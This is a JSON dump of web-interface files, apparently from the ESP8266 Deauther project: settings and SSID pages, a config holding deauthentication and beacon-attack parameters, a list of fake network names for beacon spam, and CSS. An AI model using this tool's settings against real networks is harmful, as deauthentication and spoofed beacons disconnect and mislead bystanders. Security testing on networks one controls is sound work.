[\r\n         \"b8:1d:aa:d5:6f:f0\",\r\n         8,\r\n         \"[[[[not mine]]]]\",\r\n         \"don't!\",\r\n         2,\r\n         4,\r\n         \"<1sec\",\r\n         true\r\n      ],\r\n      [\r\n         \"58:41:4e:7a:dd:1b\",\r\n         8,\r\n         \"\",\r\n         \"OK?!\",\r\n         2,\r\n         3,\r\n         \"<1min\",\r\n         false\r\n      ]\r\n   ]\r\n}"
  },
  {
    "path": "web_interface/settings.html",
    "content": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctype html>\r\n<html>\r\n\r\n<head>\r\n\t<meta charset=\"UTF-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.8, minimal-ui\">\r\n\t<meta name=\"theme-color\" content=\"#36393E\">\r\n\r\n\t<meta name=\"description\" content=\"ESP8266 Deauther\">\r\n\t<title>ESP8266 Deauther</title>\r\n\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\">\r\n\t<script src=\"js/site.js\"></script>\r\n\t<script src=\"js/settings.js\"></script>\r\n</head>\r\n\r\n<body onload=\"loadLang()\">\r\n\t<nav>\r\n\t\t<ul class=\"menu\">\r\n\t\t\t<li><a href=\"scan.html\" data-translate=\"scan\">Scan</a></li>\r\n\t\t\t<li><a href=\"ssids.html\" data-translate=\"ssids\">SSIDs</a></li>\r\n\t\t\t<li><a href=\"attack.html\" data-translate=\"attacks\">Attack</a></li>\r\n\t\t\t<li><a href=\"settings.html\" data-translate=\"settings\">Settings</a></li>\r\n\t\t</ul>\r\n\t</nav>\r\n\r\n\t<div id=\"status\"></div>\r\n\r\n\t<div class=\"container\">\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<h1 class=\"header\" data-translate=\"settings\">Settings</h1>\r\n\r\n\t\t\t\t<button\r\n\t\t\t\t\tonclick=\"getFile('run?cmd=stopap');alert('Turning off access point now. Restart your Deauther to be able to connect again.')\"\r\n\t\t\t\t\tclass=\"red\" data-translate=\"wifi_off\">WiFi off</button>\r\n\t\t\t\t<button onclick=\"getFile('run?cmd=reset;;save settings')\" class=\"red\"\r\n\t\t\t\t\tdata-translate=\"reset\">Reset</button>\r\n\t\t\t\t<button onclick=\"getFile('run?cmd=reboot')\" class=\"red right\" data-translate=\"reboot\">reboot</button>\r\n\r\n\t\t\t\t<p>\r\n\t\t\t\t\t<span class=\"red\" data-translate=\"info_span\">INFO:</span><br>\r\n\t\t\t\t\t<span data-translate=\"settings_info\">\r\n\t\t\t\t\t\t- Some settings require a reboot.<br>\r\n\t\t\t\t\t\t- Click save to make sure that your changes are applied.<br>\r\n\t\t\t\t\t</span>\r\n\t\t\t\t\t<span data-translate=\"info_disclaimer\">In case of an unexpected error, please reload the site and\r\n\t\t\t\t\t\tlook at the serial monitor for further debugging.</span><br>\r\n\t\t\t\t</p>\r\n\r\n\t\t\t\t<button onclick=\"save()\" data-translate=\"save\">save</button>\r\n\t\t\t\t<button onclick=\"load()\" class=\"right\" data-translate=\"reload\">reload</button>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\r\n\t\t<div id=\"settingsList\"></div>\r\n\t</div>\r\n\t<footer>\r\n\t\t<span id=\"version\">Version 2.6.1</span>\r\n\t\t<br>\r\n\t\t<br>\r\n\t\t<a href=\"http://deauther.maltronics.com\" target=\"_blank\">Wiki</a> | <a href=\"info.html\">Credits</a>\r\n\t</footer>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "web_interface/settings.json",
    "content": "{\r\n    \"version\": \"over9000\",\r\n    \"ssid\": \"pwned\",\r\n    \"password\": \"deauther\",\r\n    \"channel\": 1,\r\n    \"hidden\": false,\r\n    \"captivePortal\": true,\r\n    \"lang\": \"en\",\r\n    \"autosave\": true,\r\n    \"autosavetime\": 30000,\r\n    \"display\": false,\r\n    \"displayTimeout\": 600,\r\n    \"serial\": true,\r\n    \"serialEcho\": true,\r\n    \"web\": true,\r\n    \"led\": true,\r\n    \"maxch\": 14,\r\n    \"macSt\": \"aa:bb:cc:dd:ee:ff\",\r\n    \"macAP\": \"00:11:22:33:44:55\",\r\n    \"chtime\": 384,\r\n    \"minDeauths\": 3,\r\n    \"attacktimeout\": 600,\r\n    \"deauthspertarget\": 20,\r\n    \"deauthReason\": 1,\r\n    \"beaconchannel\": false,\r\n    \"beaconInterval\": false,\r\n    \"randomTX\": false,\r\n    \"probesPerSSID\": 1\r\n}"
  },
  {
    "path": "web_interface/ssids.html",
    "content": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctype html>\r\n<html>\r\n\r\n<head>\r\n\t<meta charset=\"UTF-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.8, minimal-ui\">\r\n\t<meta name=\"theme-color\" content=\"#36393E\">\r\n\r\n\t<meta name=\"description\" content=\"ESP8266 Deauther\">\r\n\t<title>ESP8266 Deauther</title>\r\n\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\">\r\n\t<script src=\"js/site.js\"></script>\r\n\t<script src=\"js/ssids.js\"></script>\r\n</head>\r\n\r\n<body onload=\"loadLang()\">\r\n\t<nav>\r\n\t\t<ul class=\"menu\">\r\n\t\t\t<li><a href=\"scan.html\" data-translate=\"scan\">Scan</a></li>\r\n\t\t\t<li><a href=\"ssids.html\" data-translate=\"ssids\">SSIDs</a></li>\r\n\t\t\t<li><a href=\"attack.html\" data-translate=\"attacks\">Attack</a></li>\r\n\t\t\t<li><a href=\"settings.html\" data-translate=\"settings\">Settings</a></li>\r\n\t\t</ul>\r\n\t</nav>\r\n\r\n\t<div id=\"status\"></div>\r\n\r\n\t<div class=\"container\">\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<h1 class=\"header\" data-translate=\"ssids\">SSIDs</h1>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label for=\"ssid\">SSID</label>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<input type=\"text\" id=\"ssid\" name=\"ssid\" placeholder=\"SSID\" maxlength=\"32\">\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label>WPA2</label>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label class='checkBoxContainer'><input id=\"enc\" type='checkbox'><span class='checkmark'></span></label>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label data-translate=\"number\">Number</label>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<input id=\"ssidNum\" type=\"number\" value=\"1\" max=\"60\" min=\"1\">\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label data-translate=\"overwrite\">Overwrite</label>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label class='checkBoxContainer'><input id=\"overwrite\" type='checkbox' checked><span\r\n\t\t\t\t\t\tclass='checkmark'></span></label>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<button onclick=\"add()\" data-translate=\"add\">add</button>\r\n\t\t\t\t<button onclick=\"addSelected()\" data-translate=\"add_selected\">clone selected APs</button>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<button onclick=\"load()\" class=\"right\" data-translate=\"reload\">Reload</button>\r\n\t\t\t\t<p>\r\n\t\t\t\t\t<span class=\"red\" data-translate=\"info_span\">INFO:</span><br>\r\n\t\t\t\t\t<span data-translate=\"ssids_info\">\r\n\t\t\t\t\t\t- This SSID list is used for the beacon and probe attack.<br>\r\n\t\t\t\t\t\t- Each SSID can be up to 32 characters.<br>\r\n\t\t\t\t\t\t- Don't forget to click save when you edited a SSID.<br>\r\n\t\t\t\t\t\t- You have to click Reload after cloning SSIDs.<br>\r\n\t\t\t\t\t</span>\r\n\t\t\t\t\t<span data-translate=\"info_disclaimer\">In case of an unexpected error, please reload the site and\r\n\t\t\t\t\t\tlook at the serial monitor for further debugging.</span><br>\r\n\t\t\t\t</p>\r\n\t\t\t\t<hr>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label for=\"interval\" data-translate=\"time_interval\">Time Interval</label>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<input id=\"interval\" name=\"interval\" type=\"number\" value=\"10\" max=\"600\" min=\"1\">s\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<button onclick=\"enableRandom()\" id=\"randomBtn\">Enable Random Mode</button>\r\n\t\t\t\t<p data-translate=\"random_desc\">Enable the random mode to generate a random SSID list in a given\r\n\t\t\t\t\tinterval.</p>\r\n\t\t\t\t<hr>\r\n\t\t\t\t<table id=\"ssidTable\"></table>\r\n\t\t\t\t<button onclick=\"removeAll()\" class=\"red\" data-translate=\"remove_all\">Remove All</button>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n\t<footer>\r\n\t\t<span id=\"version\">Version 2.6.1</span>\r\n\t\t<br>\r\n\t\t<br>\r\n\t\t<a href=\"http://deauther.maltronics.com\" target=\"_blank\">Wiki</a> | <a href=\"info.html\">Credits</a>\r\n\t</footer>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "web_interface/ssids.json",
    "content": "{\r\n\t\"random\": false,\r\n\t\"ssids\":[\r\n  [\r\n    \"Cthulhu fm'latgh stell'bsna\",\r\n    false,\r\n    27\r\n  ],\r\n  [\r\n    \"Nyarlathotep, vulgtm\",\r\n    false,\r\n    20\r\n  ],\r\n  [\r\n    \"Sgn'wahl phlegeth\",\r\n    false,\r\n    17\r\n  ],\r\n  [\r\n    \"Nyarlathotep nnnee, ehye\",\r\n    true,\r\n    24\r\n  ],\r\n  [\r\n    \"Phlegeth ph'Yoggoth\",\r\n    true,\r\n    19\r\n  ],\r\n  [\r\n    \"fm'latgh ilyaa, llll\",\r\n    true,\r\n    20\r\n  ],\r\n  [\r\n    \"Lloigog gotha h'n'ghft\",\r\n    true,\r\n    22\r\n  ],\r\n  [\r\n    \"n'gha, h'goka\",\r\n    false,\r\n    13\r\n  ],\r\n  [\r\n    \"Sll'ha Azathoth\",\r\n    true,\r\n    15\r\n  ],\r\n  [\r\n    \"zhro tharanak, kn'a\",\r\n    false,\r\n    19\r\n  ],\r\n  [\r\n    \"Sll'haor phlegethog\",\r\n    true,\r\n    19\r\n  ],\r\n  [\r\n    \"y'hah lw'nafh, cee\",\r\n    true,\r\n    18\r\n  ],\r\n  [\r\n    \"Kn'a mnahn' li'heeagl\",\r\n    true,\r\n    21\r\n  ],\r\n  [\r\n    \"h'lw'nafh, R'lyeh\",\r\n    true,\r\n    17\r\n  ],\r\n  [\r\n    \"Ya bug Tsathoggua\",\r\n    false,\r\n    17\r\n  ],\r\n  [\r\n    \"ah, fm'latgh\",\r\n    false,\r\n    12\r\n  ],\r\n  [\r\n    \"F'ilyaa ebunma tharanak\",\r\n    true,\r\n    23\r\n  ],\r\n  [\r\n    \"kadishtu, nilgh'ri\",\r\n    true,\r\n    18\r\n  ],\r\n  [\r\n    \"R'luh nog gof'nn\",\r\n    true,\r\n    16\r\n  ],\r\n  [\r\n    \"hriiagl, stell'bsna\",\r\n    false,\r\n    19\r\n  ],\r\n  [\r\n    \"R'lyeh nnnYoggoth\",\r\n    false,\r\n    17\r\n  ],\r\n  [\r\n    \"syha'h nnnilyaa, R'lyeh\",\r\n    false,\r\n    23\r\n  ],\r\n  [\r\n    \"Nghai s'uhn bug\",\r\n    false,\r\n    15\r\n  ],\r\n  [\r\n    \"zhro, sgn'wahl\",\r\n    false,\r\n    14\r\n  ],\r\n  [\r\n    \"F'ftaghu throd\",\r\n    true,\r\n    14\r\n  ],\r\n  [\r\n    \"h'hai nnnnog, bug\",\r\n    false,\r\n    17\r\n  ],\r\n  [\r\n    \"Ulnyar ron uaaah\",\r\n    true,\r\n    16\r\n  ],\r\n  [\r\n    \"ngphlegeth, R'lyeh\",\r\n    false,\r\n    18\r\n  ],\r\n  [\r\n    \"Ch' nw n'ghftog\",\r\n    true,\r\n    15\r\n  ],\r\n  [\r\n    \"lloig, ph'n'ghft\",\r\n    true,\r\n    16\r\n  ],\r\n  [\r\n    \"Ahnyth throd nas'uhn\",\r\n    false,\r\n    20\r\n  ],\r\n  [\r\n    \"y'hahagl, f'sgn'wahl\",\r\n    true,\r\n    20\r\n  ],\r\n  [\r\n    \"Throdnyth zhro sll'ha\",\r\n    true,\r\n    21\r\n  ],\r\n  [\r\n    \"naflvulgtm, nnnnw\",\r\n    true,\r\n    17\r\n  ],\r\n  [\r\n    \"Ngehye Hasturnyth nnnorr'e\",\r\n    true,\r\n    26\r\n  ],\r\n  [\r\n    \"ftaghuoth, mg\",\r\n    true,\r\n    13\r\n  ],\r\n  [\r\n    \"Lloig naflebunma y-Chaugnar\",\r\n    false,\r\n    27\r\n  ],\r\n  [\r\n    \"Faugn ph'uaaah, naflmg\",\r\n    false,\r\n    22\r\n  ],\r\n  [\r\n    \"Azathoth shugg gotha\",\r\n    false,\r\n    20\r\n  ],\r\n  [\r\n    \"Hastur, fhtagn\",\r\n    false,\r\n    14\r\n  ],\r\n  [\r\n    \"Lw'nafh nognyth\",\r\n    true,\r\n    15\r\n  ],\r\n  [\r\n    \"nnngrah'n hrii, s'uhn\",\r\n    false,\r\n    21\r\n  ],\r\n  [\r\n    \"Hai kadishtunyth\",\r\n    false,\r\n    16\r\n  ],\r\n  [\r\n    \"nahlirgh uh'e, athgog\",\r\n    true,\r\n    21\r\n  ],\r\n  [\r\n    \"Nilgh'ri R'lyeh\",\r\n    true,\r\n    15\r\n  ],\r\n  [\r\n    \"nglw'nafh 'bthnk, ph'mnahn'\",\r\n    true,\r\n    27\r\n  ],\r\n  [\r\n    \"Tharanak ehye kadishtuoth\",\r\n    true,\r\n    25\r\n  ],\r\n  [\r\n    \"bug, hupadgh\",\r\n    true,\r\n    12\r\n  ],\r\n  [\r\n    \"Nnnvulgtlagln sgn'wahl\",\r\n    true,\r\n    22\r\n  ],\r\n  [\r\n    \"ph'goka nafln'gha, y-'bthnk\",\r\n    true,\r\n    27\r\n  ],\r\n  [\r\n    \"Dagon ilyaa throd\",\r\n    true,\r\n    17\r\n  ],\r\n  [\r\n    \"sgn'wahl, uln\",\r\n    false,\r\n    13\r\n  ],\r\n  [\r\n    \"Shub-Niggurath naChaugnar\",\r\n    true,\r\n    25\r\n  ],\r\n  [\r\n    \"Faugn f'r'luh phlegeth, lw'nafh\",\r\n    true,\r\n    31\r\n  ],\r\n  [\r\n    \"Ebunma ehye hlirgh\",\r\n    false,\r\n    18\r\n  ],\r\n  [\r\n    \"Shub-Niggurath, ilyaa\",\r\n    true,\r\n    21\r\n  ],\r\n  [\r\n    \"Cgeb gnaiih Dagon\",\r\n    true,\r\n    17\r\n  ],\r\n  [\r\n    \"gnaiih, nnnn'ghft\",\r\n    false,\r\n    17\r\n  ],\r\n  [\r\n    \"Hlirgh k'yarnak\",\r\n    false,\r\n    15\r\n  ],\r\n  [\r\n    \"ch', Cthulhu\",\r\n    false,\r\n    12\r\n  ]\r\n]\r\n}\r\n"
  },
  {
    "path": "web_interface/style.css",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\n/* Global */\r\nbody {\r\n\tbackground: #36393e;\r\n\tcolor: #bfbfbf;\r\n\tfont-family: sans-serif;\r\n\tmargin: 0;\r\n}\r\n\r\nh1 {\r\n\tfont-size: 1.7rem;\r\n    margin-top: 1rem;\r\n    background: #2f3136;\r\n    color: #bfbfbb;\r\n    padding: 0.2em 1em;\r\n    border-radius: 3px;\r\n\tborder-left: solid #20c20e 5px;\r\n    font-weight: 100;\r\n}\r\n\r\nh2 {\r\n\tfont-size: 1.1rem;\r\n    margin-top: 1rem;\r\n    background: #2f3136;\r\n    color: #bfbfbb;\r\n    padding: 0.4em 1.8em;\r\n    border-radius: 3px;\r\n\tborder-left: solid #20c20e 5px;\r\n    font-weight: 100;\r\n}\r\n\r\ntable{\r\n\tborder-collapse: collapse;\r\n}\r\n\r\nlabel{\r\n\tline-height: 38px;\r\n}\r\n\r\np{\r\n\tmargin: 0.5em 0;\r\n}\r\n\r\n.left {\r\n\tfloat: left;\r\n}\r\n.right {\r\n\tfloat: right;\r\n}\r\n.bold {\r\n\tfont-weight: bold;\r\n}\r\n.red{\r\n\tcolor: #F04747;\r\n}\r\n.green{\r\n\tcolor:#43B581;\r\n}\r\n.clear {\r\n\tclear: both;\r\n}\r\n.centered{\r\n\ttext-align: center;\r\n}\r\n.select{\r\n\twidth: 98px !important;\r\n\tpadding: 0 !important;\r\n}\r\n.selected{\r\n\tbackground: #4974a9;\r\n}\r\n.status{\r\n\twidth: 120px;\r\n\tpadding-left: 8px;\r\n}\r\n.labelFix {\r\n\tline-height: 44px;\r\n}\r\n.clickable{\r\n\tcursor: pointer;\r\n}\r\n.settingName{\r\n\ttext-transform: uppercase;\r\n\tfont-weight: bold;\r\n\ttext-decoration: underline;\r\n}\r\n\r\n#status {\r\n\ttext-align: center;\r\n\ttext-transform: capitalize;\r\n\tpadding: 5px;\r\n\tcolor: #fff;\r\n\tposition: sticky;\r\n\ttop: 0;\r\n\tz-index: 99;\r\n}\r\n\r\n#closeError{\r\n\tfloat: right;\r\n\tcolor: #fff;\r\n\tpadding: 0px 10px;\r\n\tcursor: pointer;\r\n}\r\n\r\nfooter {\r\n\tfont-size: .95em;\r\n\ttext-align: center;\r\n\tmargin-top: 3em;\r\n\tmargin-bottom: 3em;\r\n}\r\n\r\n/* ===== CHECKBOX ===== */\r\n/* Customize the label (the container) */\r\n.checkBoxContainer {\r\n  display: block;\r\n  position: relative;\r\n  padding-left: 35px;\r\n  margin-bottom: 12px;\r\n  cursor: pointer;\r\n  font-size: 22px;\r\n  -webkit-user-select: none;\r\n  -moz-user-select: none;\r\n  -ms-user-select: none;\r\n  user-select: none;\r\n  height: 32px;\r\n}\r\n\r\n/* Hide the browser's default checkbox */\r\n.checkBoxContainer input {\r\n  position: absolute;\r\n  opacity: 0;\r\n  cursor: pointer;\r\n}\r\n\r\n/* Create a custom checkbox */\r\n.checkmark {\r\n  position: absolute;\r\n  top: 8px;\r\n  left: 0;\r\n  height: 28px;\r\n  width: 28px;\r\n  background-color: #2F3136;\r\n  border-radius: 4px;\r\n}\r\n\r\n/* Create the checkmark/indicator (hidden when not checked) */\r\n.checkmark:after {\r\n  content: \"\";\r\n  position: absolute;\r\n  display: none;\r\n}\r\n\r\n/* Show the checkmark when checked */\r\n.checkBoxContainer input:checked ~ .checkmark:after {\r\n  display: block;\r\n}\r\n\r\n\r\n.checkBoxContainer .checkmark:after {\r\n  left: 10px;\r\n  top: 7px;\r\n  width: 4px;\r\n  height: 10px;\r\n  border: solid white;\r\n  border-width: 0 3px 3px 0;\r\n  -webkit-transform: rotate(45deg);\r\n  -ms-transform: rotate(45deg);\r\n  transform: rotate(45deg);\r\n}\r\n\r\n/* ERROR */\r\n.hide {\r\n\tdisplay: none;\r\n}\r\n\r\n.show {\r\n\tdisplay: block !important;\r\n\tanimation-name: fadeIn;\r\n\tanimation-duration: 1s;\r\n}\r\n\r\n@keyframes fadeIn {\r\n\t0%   {opacity: 0;}\r\n\t100% {opacity: 1;}\r\n}\r\n\r\n\r\nhr {\r\n\tbackground: #3e4146;\r\n}\r\n\r\na {\r\n\tcolor: #5281bb;\r\n    text-decoration: none;\r\n}\r\n\r\na:hover {\r\n\tcolor: #95b8e4;\r\n}\r\n\r\nli{\r\n\tmargin: 4px 0;\r\n}\r\n\r\n/* Meter */\r\n.meter_background{\r\n\tbackground: #42464D;\r\n\twidth: 100%;\r\n\tword-break: normal;\r\n\tmin-width: 100px;\r\n}\r\n.meter_forground{\r\n\tcolor: #fff;\r\n\tpadding: 4px 0;\r\n\t/* + one of the colors below\r\n\t(width will be set by the JS) */\r\n}\r\n.meter_green{\r\n\tbackground: #43B581;\r\n}\r\n.meter_orange{\r\n\tbackground: #FAA61A;\r\n}\r\n.meter_red{\r\n\tbackground: #F04747;\r\n}\r\n.meter_value{\r\n\tpadding-left: 8px;\r\n}\r\n\r\n\r\n/* Tables */\r\ntable {\r\n\twidth: 100%;\r\n\tmin-width: 400px;\r\n\tmargin-bottom: 2em;\r\n}\r\n\r\ntd{\r\n\tword-break: break-all;\r\n}\r\n\r\nth{\r\n\tword-break: break-word;\r\n}\r\n\r\nth, td {\r\n    padding: 10px 6px;\r\n    text-align: left;\r\n    border-bottom: 1px solid #5d5d5d;\r\n}\r\n\r\n@media screen and (max-width: 820px) {\r\n\t#apTable .id,\r\n\t#apTable .enc,\r\n\t#apTable .mac,\r\n\t#apTable .vendor,\r\n\t#apTable .name,\r\n\r\n\t#stTable .id,\r\n\t#stTable .pkts,\r\n\t#stTable .lastseen,\r\n\t#stTable .mac,\r\n\r\n\t#nTable .id,\r\n\t#nTable .vendor,\r\n\t#nTable .ap,\r\n\t#nTable .mac,\r\n\r\n\t#ssidTable .id\t{\r\n\t  display: none;\r\n\t}\r\n\r\n\t.meter_background{\r\n\t\tmin-width: 45px;\r\n\t}\r\n}\r\n\r\nnav {\r\n\tdisplay: block;\r\n\tbackground: #1d2236;\r\n\tfont-weight: bold;\r\n\tpadding: 0 10px;\r\n}\r\n  \r\nnav a {\r\n\tcolor: inherit;\r\n\tpadding: 0 .5em;\r\n}\r\n\r\n.menu {\r\n\tlist-style-type: none;\r\n\tmargin: 0;\r\n\tpadding: 0;\r\n\tmargin: 0 auto;\r\n\tdisplay: flex;\r\n\tflex-direction: row;\r\n\tdisplay:block;\r\n}\r\n\r\n.menu li {\r\n\tmargin: 10px 20px 10px 0;\r\n\tdisplay: inline-block;\r\n}\r\n\r\n.menu li:last-child {\r\n\tfloat: right;\r\n}\r\n\r\n/* Inputs and buttons */\r\n.upload-script, .button, button, input[type=\"submit\"], input[type=\"reset\"], input[type=\"button\"] {\r\n\tdisplay: inline-block;\r\n\theight: 38px;\r\n\tpadding: 0 20px;\r\n\tcolor:#fff;\r\n\ttext-align: center;\r\n\tfont-size: 11px;\r\n\tfont-weight: 600;\r\n\tline-height: 38px;\r\n\tletter-spacing: .1rem;\r\n\ttext-transform: uppercase;\r\n\ttext-decoration: none;\r\n\twhite-space: nowrap;\r\n\tbackground: #2f3136;\r\n\tborder-radius: 4px;\r\n\tborder: none;\r\n\tcursor: pointer;\r\n\tbox-sizing: border-box;\r\n}\r\n\r\nbutton:hover, input[type=\"submit\"]:hover, input[type=\"reset\"]:hover, input[type=\"button\"]:hover {\r\n\tbackground: #42444a;\r\n}\r\nbutton:active, input[type=\"submit\"]:active, input[type=\"reset\"]:active, input[type=\"button\"]:active {\r\n\ttransform: scale(.93);\r\n}\r\nbutton:disabled:hover, input[type=\"submit\"]:disabled:hover, input[type=\"reset\"]:disabled:hover, input[type=\"button\"]:disabled:hover {\r\n\tbackground: white;\r\n\tcursor: not-allowed;\r\n\topacity: 0.40;\r\n\tfilter: alpha(opacity=40);\r\n\ttransform: scale(1);\r\n}\r\nbutton::-moz-focus-inner {\r\n  border: 0;\r\n}\r\n/* Forms */\r\ninput[type=\"email\"], input[type=\"number\"], input[type=\"search\"], input[type=\"text\"], input[type=\"tel\"], input[type=\"url\"], input[type=\"password\"], textarea, select {\r\n\theight: 38px;\r\n\tpadding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */\r\n\tbackground-color: #2f3136;\r\n\tborder-radius: 4px;\r\n\tbox-shadow: none;\r\n\tbox-sizing: border-box;\r\n\tcolor: #d4d4d4;\r\n\tborder: none;\r\n\twidth: 5em;\r\n}\r\n\r\ninput[type=\"text\"]{\r\n\twidth: 10em;\r\n}\r\n\r\n.setting {\r\n\twidth: 100% !important;\r\n\tmax-width: 284px !important;\r\n}\r\n\r\ninput[type=\"file\"] {\r\n    display: none;\r\n}\r\n\r\n/* ==== GRID SYSTEM ==== */\r\n.container {\r\n  width: 100%;\r\n  margin-left: auto;\r\n  margin-right: auto;\r\n  max-width: 1140px;\r\n}\r\n\r\n.row {\r\n  position: relative;\r\n  width: 100%;\r\n}\r\n\r\n.row [class^=\"col\"] {\r\n  float: left;\r\n  margin: 0.25rem 2%;\r\n  min-height: 0.125rem;\r\n}\r\n\r\n.col-1,\r\n.col-2,\r\n.col-3,\r\n.col-4,\r\n.col-5,\r\n.col-6,\r\n.col-7,\r\n.col-8,\r\n.col-9,\r\n.col-10,\r\n.col-11,\r\n.col-12 {\r\n  width: 96%;\r\n}\r\n\r\n.row::after {\r\n\tcontent: \"\";\r\n\tdisplay: table;\r\n\tclear: both;\r\n}\r\n\r\n.hidden-sm {\r\n  display: none;\r\n}\r\n\r\n@media only screen and (min-width: 24em) {\r\n  .col-1 {\r\n    width: 4.33%;\r\n  }\r\n\r\n  .col-2 {\r\n    width: 12.66%;\r\n  }\r\n\r\n  .col-3 {\r\n    width: 21%;\r\n  }\r\n\r\n  .col-4 {\r\n    width: 29.33%;\r\n  }\r\n\r\n  .col-5 {\r\n    width: 37.66%;\r\n  }\r\n\r\n  .col-6 {\r\n    width: 46%;\r\n  }\r\n\r\n  .col-7 {\r\n    width: 54.33%;\r\n  }\r\n\r\n  .col-8 {\r\n    width: 62.66%;\r\n  }\r\n\r\n  .col-9 {\r\n    width: 71%;\r\n  }\r\n\r\n  .col-10 {\r\n    width: 79.33%;\r\n  }\r\n\r\n  .col-11 {\r\n    width: 87.66%;\r\n  }\r\n\r\n  .col-12 {\r\n    width: 96%;\r\n  }\r\n\r\n  .hidden-sm {\r\n    display: block;\r\n  }\r\n}\r\n"
  }
]